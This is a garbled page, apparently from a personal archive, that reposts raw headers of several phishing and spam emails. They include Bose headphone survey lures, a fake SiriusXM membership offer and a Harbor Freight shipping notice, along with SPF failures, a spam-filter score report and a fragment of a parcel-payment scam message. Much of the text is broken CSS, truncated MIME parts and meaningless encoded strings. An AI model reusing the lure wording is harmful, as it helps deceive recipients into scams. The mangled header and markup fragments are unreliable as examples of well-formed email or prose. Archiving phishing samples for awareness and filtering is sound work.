initial">
ONT>


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
ONT>


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">Onc=

e your payment is made, you will receive a confirmation of payment and your=

package will be delivered the next day.
=20



px; OVERFLOW: visible; BORDER-TOP: 1px solid; HEIGHT: 0px; FONT-FAMILY: Rob=

oto, sans-serif; BORDER-RIGHT-WIDTH: 0px; WHITE-SPACE: normal; BORDER-BOTTO=

M-WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; BORDER-LEFT-COLOR: ;=

FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; BORDER-BOTTOM-=

COLOR: ; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; BORDER-RIGHT-COLOR: ; LET=

TER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial; border-image: initial">


ma>*Arrived at&=

nbsp;Canada Post Office Origin Facility: 01.18.2024 06:50:47 AM

T>=20

3D""
size:fit:1160/1*JuClCJ-hzXZ1xXLKJ4I1NA.png" width=3D769 align=3Dbaseline he=

ight=3D252>







--b1_7b494bcc0e99c89ef657b0ca2f60dcb6--

I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

Bose QuietComfort Wireless Headphones from Microsoft Outlook

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 17 Jan 2024 17:05:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQFtP-00000000NtE-2oFn

for dave@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 17:04:23 -0700

Resent-From: The Doctor

Resent-Date: Wed, 17 Jan 2024 17:04:23 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-vi1eur05on2062.outbound.protection.outlook.com ([40.107.21.62]:45047 helo=EUR05-VI1-obe.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQB6e-00000000BVS-0TJM

for doctor@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 11:57:47 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;

b=GUoxzYdz+wvC2R+QHjvOo2zFAeuzapiuK3zu1aeS5YFLHGSQ1bJfeJ/YjczWMgHLaHcR5zx0JuvDb1xdjFtPuxxZ7QtobV/e05aBM7o2ENYwPoLSCA7nI2hWFetSYE15Yn5l8GX61rHK/vfAQ2rEOodMEr0h5wnkqwAVXorqMRz609cw8EPLBegOR0+Dlu/aMIxCdUjw+cM4EBlA/FMZGWFISKC9tz1ypnEmm/27jzZhlJE09jIUdexddD9jeYQyJrLGphyR29RyA7KU6+7YWjRFSv4KT/7ISCWr0ZFX/rMpaFxGuVYvPvgq5tLxH4tUEGtQ9fp7bCXGI6elfnKWtQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector9901;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=l/Baw+B6SmRuHaHjwCskR4dDo8LUTazZMRuGX8GtgrE=;

b=B1E0P9ytRqXxpnmMIN3ohaYQPflwnx4kcOEW473z0sCHSKiiSZSjpd/JOEQY2Bsz0tU/3s02aOq/sECPRuUI8vWyN+YLxOPWTOMHFdLO9Ywv7sVZ2e3JCWpJ6T8/oBEu7Oj0u4C7fnFGG/r4VDZxv9oYC7HJY49RQIEVx5B3vCPlR4H4RZDjOFvdwHviDHZjvkYPeKlnM1g50BJM5a0ezNWoh5lzQXM+3zJ+obsUF7pspDX9qPmVbwv4v1rqMCNhDiie4WNK16ZgoX8+hVwd/JrVlFNvqh0qP9xipllhXGIzM5sGopAk1+ay1D9w9e+116H67gU1OnI5l5SI391vgg==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=fail (sender ip is

192.155.80.227) smtp.rcpttodomain=doctor.nl2k.ab.ca

smtp.mailfrom=truioergg.onmicrosoft.com; dmarc=none action=none

header.from=truioergg.onmicrosoft.com; dkim=none (message not signed);

arc=none (0)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=truioergg.onmicrosoft.com; s=selector1-truioergg-onmicrosoft-com;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=l/Baw+B6SmRuHaHjwCskR4dDo8LUTazZMRuGX8GtgrE=;

b=XiQSkvvMTAhoGxSQ3vtCNNRpxOoDcgL0Hg60QSRq/MBrTqO0AgHb6qbCUJ6LQf+H0PoYTNihIzbWlONOEPTYmbcJWvdT+7BMmTgoglt+jRfTae2vM1XmQxIdCVO9ZXb+uOnTwmt69GJ+Z2GBlKtQPmS5oQcQJOGSrrqV+rVcndTzqYxX0QD6bGtDkmE2/OkkG7n/78jkWUXj5+8y7pQ57LA4gwihjvfD9w6FLhFGGbtasg2lBrDPw7rksE3x5fusau1tSoFTUG+z2/WwpPwIkGfRvpkPpNWcDy7x1VZ2d4+Wx02VB6BEiz4QDXJtEix2T+nAPh4mbTFklZ2YrTGGeQ==

X-MS-Exchange-Authentication-Results: spf=fail (sender IP is 192.155.80.227)

smtp.mailfrom=truioergg.onmicrosoft.com; dkim=none (message not signed)

header.d=none;dmarc=none action=none header.from=truioergg.onmicrosoft.com;

Importance: high

Content-Type: text/html; charset="UTF-8"

To: doctor@doctor.nl2k.ab.ca

MIME-Version: 1.0

In-Reply-To:

From: Bose QuietComfort Wireless Headphones

CC: doctor@doctor.nl2k.ab.ca

Content-Transfer-Encoding: 7bit

Date: Wed, 17 Jan 2024 19:48:47 +0100

Subject: Make a Difference, Get Rewarded: Survey Now

Message-ID:

<5d35e853-ab29-4f57-b45e-311f12959a9f@AM4PEPF00027A60.eurprd04.prod.outlook.com>

X-EOPAttributedMessage: 0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: AM4PEPF00027A60:EE_|GVXPR06MB8923:EE_

X-MS-Office365-Filtering-Correlation-Id: 0a9f0812-c1b6-4107-36f1-08dc178de42d

X-MS-Exchange-SenderADCheck: 1

X-MS-Exchange-AntiSpam-Relay: 0

X-Microsoft-Antispam: BCL:0;

X-Microsoft-Antispam-Message-Info:

FbqW7iEnU3KOSehyYl2cNQgOivmy/UMCun0S2jYw7j92UHpFewxfImUQJlaOP5c1kcvr8NXolDNvhTDxb1lnIskv5xv+1vRdHvj+W4onaSo5Zp1rU/h7zDfvJP0iSfcRm84sw+DHVtvg4Ftcr9q0yqbJdYKsQh+Wp9kUTrN4UdMI0Y3tzd55PjMfzokqlA6Rp65NmVXqhhdwRkUY1mgZ2mRNUGk2CGR2YUkqIAtA8hVc5MRkD0KXwkJDXgRi9uuM2gCL0lIESXdUUtY97vkF/6zxtF/E1syJpSpHiFEJ6yFR7IzIrYghT/fRMrkrcwfalXM6J4mXdEKiE8T/7FfMUi6z0zqjvjTzmcl7HS1pH4vdOWGk0FZjL9NEiaSPhnCRv7suAtUMrAcSQ52iFEKlmsSfatVz6oBBr8GtgoGcIsmIStc3d+fnJkQvGLUGGLCqEePt49JyHNeqvbULcgd+0p1xh+Gx4uzK8ypSTaZd3AL0caa1YX/BFjj+bdAajxp3KNca9MindoUdiX2x3Ha8zlCzSCvSwgfbOzkqfED2PSBZ37QpkibtmfDv/xYM/cRt

X-Forefront-Antispam-Report:

CIP:192.155.80.227;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mail.beatty.com;PTR:192-155-80-227.ip.linodeusercontent.com;CAT:NONE;SFS:(13230031)(376002)(396003)(346002)(136003)(39860400002)(230922051799003)(7200799017)(1690799017)(82310400011)(451199024)(61400799012)(64100799003)(186009)(46966006)(40470700004)(36840700001)(5660300002)(558084003)(41300700001)(2906002)(41320700001)(31696002)(70586007)(42186006)(6916009)(70206006)(786003)(316002)(86362001)(8400799017)(9686003)(26005)(336012)(47076005)(40480700001)(40460700003)(478600001)(36860700001)(82740400003)(8676002)(8936002)(4326008)(81166007)(67280400001)(34070700002)(166002)(154513002)(83022004);DIR:OUT;SFP:1101;

X-OriginatorOrg: truioergg.onmicrosoft.com

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jan 2024 18:55:36.2482

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: 0a9f0812-c1b6-4107-36f1-08dc178de42d

X-MS-Exchange-CrossTenant-Id: 4ef21704-d8fe-43b6-9f16-9a514fe577ff

X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=4ef21704-d8fe-43b6-9f16-9a514fe577ff;Ip=[192.155.80.227];Helo=[mail.beatty.com]

X-MS-Exchange-CrossTenant-AuthSource:

AM4PEPF00027A60.eurprd04.prod.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem

X-MS-Exchange-Transport-CrossTenantHeadersStamped: GVXPR06MB8923









(1) Notifications












































































































Bose QuietComfort Wireless Headphones Phish from Microsoft Outlook

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 17 Jan 2024 17:05:41 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQFu5-00000000Nvm-3FVM

for dave@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 17:05:05 -0700

Resent-From: The Doctor

Resent-Date: Wed, 17 Jan 2024 17:05:05 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-dm6nam11on2124.outbound.protection.outlook.com ([40.107.223.124]:31617 helo=NAM11-DM6-obe.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQCI7-00000000ETE-2Iqr

for root@nk.ca;

Wed, 17 Jan 2024 13:13:43 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;

b=Poa1skshRY22Xv2R1YwUxHKTCD2rFDY3NTC9sy0LpKsTsXXToyixgY+gdkFt+yPWkltH64ur/DJ9W7M4m0aS8r7TjXv592mPuTyWKfQ3DImwIeNnA+8SaSiBwc5bdxOoofc4BdV13QHlENM65vjqvYnXIYNxG29bG/L+bnmfNfAycbwPIogHraHQ/t204Zo0FyTvwzIn9VHy0FXryYD6Pck737bWZKNnC+aLPGdnNJtNP5ALNKmPXii7VNc0JtHYelvOCqACPc62Z7wed4BzNkWEhFNSzNQBqfGX8jMlQv8Pfs49z10x+Jmq1OelS0xbhFsDRAIX03kP9kFZv2Il4Q==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector9901;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=bxwC/P3dJkWyPwXjLBHjQGLhTv+Df0Vs4Q6BoZdVEn4=;

b=Wu8QBa5bwAS09Vih2+SaYue5ztnW3Vdz/M1hEMbT/CGZ/36836AR5mKdZU9tLWMDh91oJAQ7HVlrKmSmmZHYUCrCUr9ZS/3XehbYfcQo13yasb+EIIoCysygn8pSk5h3ZXkj8y0Jaun/xq80off83QMCekcCtdV2NtR2wQB5rAIIT1vx1VStiYtM18IGLetQjI0Mg1Uhuf0GpisKzKNM+VoBhRfGWAn4qnGebfMX2uMw7sI2hEltNdmsR3HBqWVTrjgH8i3M3Hvs9sremxoAajsEeGZFy9vBztYBzTZYTkt+cclmaYoGUtMnuOpo7Xw/hU/Hz7TpVhllxQpfXGoK8g==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=fail (sender ip is

45.79.109.94) smtp.rcpttodomain=nk.ca smtp.mailfrom=malcis.onmicrosoft.com;

dmarc=none action=none header.from=malcis.onmicrosoft.com; dkim=none (message

not signed); arc=none (0)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=malcis.onmicrosoft.com; s=selector1-malcis-onmicrosoft-com;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=bxwC/P3dJkWyPwXjLBHjQGLhTv+Df0Vs4Q6BoZdVEn4=;

b=mfwW+fGHLRNJ4BhvD1mSOPlDHa/c+WUcj9Fe/C81Wv3PAm5PGpztsDASZwOiJxF9ax4vyZnk8qdoTpFE378Astj0HoY0waiOpAqfx4D1ABk89zHVQCcvtqADGHF3fqIS8TzdQUDS4k0bOy9JpOWByYc0U5Cu02d6owm5+c+WnbX65QvDbG3oZ7E57RLGOaSodgTaj49+HsQDQqLhDh7ncMgZWktX+hECxSAf8Of6Zrwu6G+JXdEMntFWd88negXiCf9gYEI/J6wlEiLN9KHmOhG8Cn+100hrA/Gujeld2BT80g/L/ITIi9f/+75wacP71nBTE3XE1GY8+jMN/d1HMw==

X-MS-Exchange-Authentication-Results: spf=fail (sender IP is 45.79.109.94)

smtp.mailfrom=malcis.onmicrosoft.com; dkim=none (message not signed)

header.d=none;dmarc=none action=none header.from=malcis.onmicrosoft.com;

To: root@nk.ca

CC: root@nk.ca

Date: Wed, 17 Jan 2024 21:06:14 +0100

In-Reply-To:

Content-Type: text/html; charset="UTF-8"

Importance: high

MIME-Version: 1.0

Subject: Your Say, Your Reward: Take Our Survey Now

From: Bose QuietComfort Wireless Headphones Confirmation

Content-Transfer-Encoding: 7bit

Message-ID:

<776f2406-479f-4ca3-97b2-cbab5f3ab9fc@MW2NAM12FT058.eop-nam12.prod.protection.outlook.com>

X-EOPAttributedMessage: 0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: MW2NAM12FT058:EE_|SA2PR22MB2458:EE_

X-MS-Office365-Filtering-Correlation-Id: 01bfa666-0b00-4d2f-4f7a-08dc17987fd4

X-MS-Exchange-SenderADCheck: 1

X-MS-Exchange-AntiSpam-Relay: 0

X-Microsoft-Antispam: BCL:0;

X-Microsoft-Antispam-Message-Info:

f6APNS9jkomI91G+Oc+eG5dsVcxBQr0uU8hj+XmqIBiZJR3ruoAdStTqKP8r0SLGz9E6EAc8lQL7bKLN/p1PEd2Ml4obkb3ADvU9Uc8XWM8WxtlnbEqw8MOdmKiAgGMtIMLqleKx6xaiap2eZUASx6dUSvDirBInQfNA3w5fbkm0gJOCe1uOV5ge6KolKrvC1+W0kJlZ+lvyxQ3wlAm2pDTnctX2rGsWUArDMg0wRQDj2NrUQCYQX7TITQD7sRyV1ChAhDFB5Da5ziBOpEnpgJ2iXm1orf+QD5zUxH/zozzAaZFFdUlfwSJxKKqFP16PoGCGyloPCKECl0V+VKkOC98ECQ7MgTQCnuNOssYbqEXtNPvH2RBSkHqAEA/P/ZQVSljUo0ILlJPLKygOWD7iz3QaZrWoXnvreZXDDbsiw8FY7g7ZviLBqLMpaNuhhH8PQYlmGJBVOrp2byqELHnMDVJHC9ULcTiJwH0Mk9vh2xfW3GSmuboXY6QwI8Oqg43EuDjbQmSXygdjOBROBIoJ+w==

X-Forefront-Antispam-Report:

CIP:45.79.109.94;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mail.thompson.com;PTR:45-79-109-94.ip.linodeusercontent.com;CAT:NONE;SFS:(13230031)(136003)(376002)(346002)(39860400002)(396003)(230922051799003)(7200799017)(186009)(61400799012)(82310400011)(64100799003)(1690799017)(451199024)(40470700004)(36840700001)(46966006)(67280400001)(41320700001)(34070700002)(82740400003)(41300700001)(36860700001)(2906002)(31696002)(86362001)(558084003)(5660300002)(166002)(81166007)(316002)(42186006)(786003)(70206006)(70586007)(478600001)(6916009)(47076005)(9686003)(4326008)(8676002)(336012)(8936002)(26005)(40460700003)(40480700001)(31686004)(8400799017);DIR:OUT;SFP:1102;

X-OriginatorOrg: malcis.onmicrosoft.com

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jan 2024 20:11:32.5137

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: 01bfa666-0b00-4d2f-4f7a-08dc17987fd4

X-MS-Exchange-CrossTenant-Id: c7dc7f4c-7a03-4c13-85cd-0a4d483a5ff1

X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c7dc7f4c-7a03-4c13-85cd-0a4d483a5ff1;Ip=[45.79.109.94];Helo=[mail.thompson.com]

X-MS-Exchange-CrossTenant-AuthSource:

MW2NAM12FT058.eop-nam12.prod.protection.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA2PR22MB2458









(1) Notifications












































































































I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

Sirius XM Phish from Amazon

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 17 Jan 2024 17:06:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQFuk-00000000NxD-0pPI

for dave@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 17:05:46 -0700

Resent-From: The Doctor

Resent-Date: Wed, 17 Jan 2024 17:05:46 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from a48-39.smtp-out.amazonses.com ([54.240.48.39]:40929)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

(Exim 4.97.1 (FreeBSD))

(envelope-from <0100018d1973d4d1-f48dab74-5f55-4b76-9e70-281a34795121-000000@amazonses.com>)

id 1rQE88-00000000JdM-3gp9

for root@nk.ca;

Wed, 17 Jan 2024 15:11:40 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=4oaq3egxkedcnjl7l2xu4fdatwhzsnfu; d=kouchea.com; t=1705529038;

h=Subject:From:Reply-To:To:Date:Message-ID:List-ID:List-Unsubscribe:List-Unsubscribe-Post:Content-Type;

bh=1oSnPpz6mH6rXzPStrR7A1h5IxkCyxikbWGh/Jbl6LQ=;

b=Fk93ULSLaLDKC5ttrQ1K5bEBmYWdEZGF8mpUSjQReOYlbV3gq72zRwU84Oo0EeqA

sckTwCoynO5HG0byEDOeGfqhBkpWQNodAwG6dCmux+CbvgFrz25HnAxIPSS2pX2nOW8

pYBk3TTIMO+UKmrSZpCbCykJETCN+CKnmDcaBbmY=

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=224i4yxa5dv7c2xz3womw6peuasteono; d=amazonses.com; t=1705529038;

h=Subject:From:Reply-To:To:Date:Message-ID:Feedback-ID:List-ID:List-Unsubscribe:List-Unsubscribe-Post:Content-Type;

bh=1oSnPpz6mH6rXzPStrR7A1h5IxkCyxikbWGh/Jbl6LQ=;

b=BgbGUbv7sls9MUhgk3O/UlkQU63euzUNw2sbswgDOG9wNWYQKTujASFUIVlhM9ha

FQcXKWd+/culaVVz8/qtGhVyMl7snzP7FG2wvSUa0yjKhd8SP0Sh/zTzOMcFOciBecv

Gd/NK/Lva0Y1V8ePxDi+WlaJ3fzvDYrFVoa2328U=

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=macpacclub.co.nz;

s=k2; t=1702370545; x=1702631045; i=club@macpacclub.co.nz;

bh=MG33lH+CY79L0833Fn7WMiVOuPH1bWfCxhCKRsRyhGI=;

h=Subject:SPECIAL OFFER: Extend your membership for free

List-ID:List-Unsubscribe:List-Unsubscribe-Post:Content-Type:

MIME-Version:CC:Date:Wed, 17 Jan 2024 17:03:56 -0500

b=WgP1KUJeaUgrOkiymoZOvwBMLYFEY2v8RAr8j2IQ54ZwEEY68klLN38mqqFQ0Po7R

4lpTtv7jGI7oLtTwBQTFh1aOuHpA/mIxeOVnasPt3kQ5CeohPOn5q3lLnYZPeLCOHR

TmDYIm8juN9fgqzJ9Sc0LL37b1eSaq/p9rftmUlfLgGVCZx0fC3a2+MguUiyHr9Ov6

jVs0dxoY0x13SLlLAYqI9nPjUFcXlGqQ/lv6Hhl2Q+HNHSUTG4bP/GPGdlDvr3OybD

oxDTSGb7ri7v99U5IW3+jh8hvBZANBM7hJH5BNKQUWrv1Bpq4NgINQz0FeMOOJ6M0S

lSo9lNHMvJRxg==

Subject:SPECIAL OFFER: Extend your membership for free

From: SiriusXM_

Reply-To: root@nk.ca

To: root@nk.ca

Date: Wed, 17 Jan 2024 22:03:58 +0000

Message-ID: <0100018d1973d4d1-f48dab74-5f55-4b76-9e70-281a34795121-000000@email.amazonses.com>

X-Mailer: Mailchimp Mailer - **CID7497ea0e6aed9fb56518**

X-Campaign: mailchimpe6a11f6e800e39b4814219c1e.7497ea0e6a

X-campaignid: mailchimpe6a11f6e800e39b4814219c1e.7497ea0e6a

X-Report-Abuse: Please report abuse for this campaign here: https://mailchimp.com/contact/abuse/?u=e6a11f6e800e39b4814219c1e&id=7497ea0e6a&e=ed9fb56518

X-MC-User: e6a11f6e800e39b4814219c1e

Feedback-ID: 1.us-east-1.KU3pPWs9eUplOWjHkyP6yBBPRRQGF3qsYY3YGP5j8cs=:AmazonSES

List-ID: e6a11f6e800e39b4814219c1emc list

X-Accounttype: pr

List-Unsubscribe: ,

List-Unsubscribe-Post: List-Unsubscribe=One-Click

Content-Type: multipart/alternative; boundary="_----------=_MCPart_1888620651"

X-SES-Outgoing: 2024.01.17-54.240.48.39

X-Spam_score: 7.1

X-Spam_score_int: 71

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: --

--




Content analysis details: (7.1 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[54.240.48.39 listed in list.dnswl.org]

-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)

[54.240.48.39 listed in wl.mailspike.net]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from

envelope-from domain

-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's

domain

-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.0 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words

0.7 MPART_ALT_DIFF BODY: HTML and text parts are different

0.0 HTML_MESSAGE BODY: HTML included in message

0.8 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area

2.0 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME

headers

-0.0 T_SCC_BODY_TEXT_LINE No description available.

0.3 HTML_SHORT_LINK_IMG_2 HTML is very short with a linked image

2.5 HDRS_MISSP Misspaced headers

Subject: {SPAM?} SPECIAL OFFER: Extend your membership for free







--_----------=_MCPart_1888620651

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable



--
PousLWZdg1>=0A--
yiImddh0elSpqr0kxEpoYFF7>=0A-
aNlnilQ2E>-=0A-
XrjrNJraWAk8OUZwtljNtmV>-=0A
6oNaODcT>--=0A
xnPnoDikDbdnCpHUi3vnQx>--
UCFWy>=0A--
NSMdYpwyg7gnPuIKJkz>=0A-
6IOW>-=0A-
3Veola7cfRh0CQUhIQ>-=0A
i38>--=0A
6cOmtHH4N6R9VfHmF>--
>=0A--
PsgcnrqYaBOQVX>



--_----------=_MCPart_1888620651

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: 8bit





"SPECIAL OFFER: Extend your membership for free"


--

--

--

--

--

--

--

--

--

--

--

--





--_----------=_MCPart_1888620651--

I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

Harbor Pressure Washer Phish from microsoft outlook

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 17 Jan 2024 20:02:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQIei-000000003q2-1ddP

for dave@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 20:01:24 -0700

Resent-From: The Doctor

Resent-Date: Wed, 17 Jan 2024 20:01:24 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-mw2nam04on2096.outbound.protection.outlook.com ([40.107.101.96]:22945 helo=NAM04-MW2-obe.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQHcb-000000001Rb-3Wly

for root@nk.ca;

Wed, 17 Jan 2024 18:55:13 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;

b=C4aeBOWJjD0pjmU1grVziL3w8oKdUjD/bv+rPcH1GpP6zeRA5O8SufRLKYYaXYoS4BqTligiodo2dFIwK74Oj31ykwbGhr3NUbjrrdqv6Ct+aMfLIGXbkZRXzLKEIgNwPU+mpNuDW7TEX+MBfzQvXZvG/K93cD8o2RP9FXxOWjvF6CPnWbfqyRhCgpq2oXuFtXpfIfXFkecuAAfDPr/bdQz070EM5R6cFprunYUBnXfmRaZ0xwiEy+QFIqJJ+dCyGa5HuHtXHI2W6jazKesDux/aeuleWsBLogNHiEk+sgApuog3jMVDMM+X7tMPyJhy8+QOWFXRT4L/Spi/joo00g==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector9901;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=J/xZ2kVR22z2z/ZjA3Hhio1nodlXfSuZZ2jRBfj1eqY=;

b=UfBjZJHNio3uvJfKIvGTXoBxnlkHS2oZIj71hy/WKOivaoovUPscigWpwRXCnfrLfDWj2IzHbROcci4wUT2Wno6jhA15bExGHkgkk7QUXVtjU5cgrivCEcqgZn7OutFw4JUdZLdFtNzeRQiD4ZvUMvj8/zQuLUqlYNCszMO7YbJyAW9+rSrOZ0wmejIyLxpSMk927RuMAiKDCjiv9Vq4rjR/aodiLvEFNjOk+dNRPIynm/G/xV02qqQ3Znh3dPuJpKO2KyfOphLXyisntahvzkW61R5HQ0+k5mlAQb4DRjEp04wfiQoSEwhX4K2p6dwfmFG5klgKVlJwjT1jxEnV7Q==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=fail (sender ip is

173.255.199.51) smtp.rcpttodomain=nk.ca

smtp.mailfrom=hadmubeo.onmicrosoft.com; dmarc=none action=none

header.from=hadmubeo.onmicrosoft.com; dkim=none (message not signed);

arc=none (0)

X-MS-Exchange-Authentication-Results: spf=fail (sender IP is 173.255.199.51)

smtp.mailfrom=hadmubeo.onmicrosoft.com; dkim=none (message not signed)

header.d=none;dmarc=none action=none header.from=hadmubeo.onmicrosoft.com;

From: Harbor Freight Unlocked

Content-Transfer-Encoding: 7bit

Date: Thu, 18 Jan 2024 02:47:51 +0100

Importance: high

CC: root@nk.ca

Content-Type: text/html; charset="UTF-8"

In-Reply-To:

To: root@nk.ca

MIME-Version: 1.0

Subject: Harbor Pressure Washer - Your order has shipped!

Message-ID:



X-EOPAttributedMessage: 0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: BL6PEPF0001AB75:EE_|PH0PR06MB8222:EE_

X-MS-Office365-Filtering-Correlation-Id: e6883ae1-81e9-4cb7-3a59-08dc17c83306

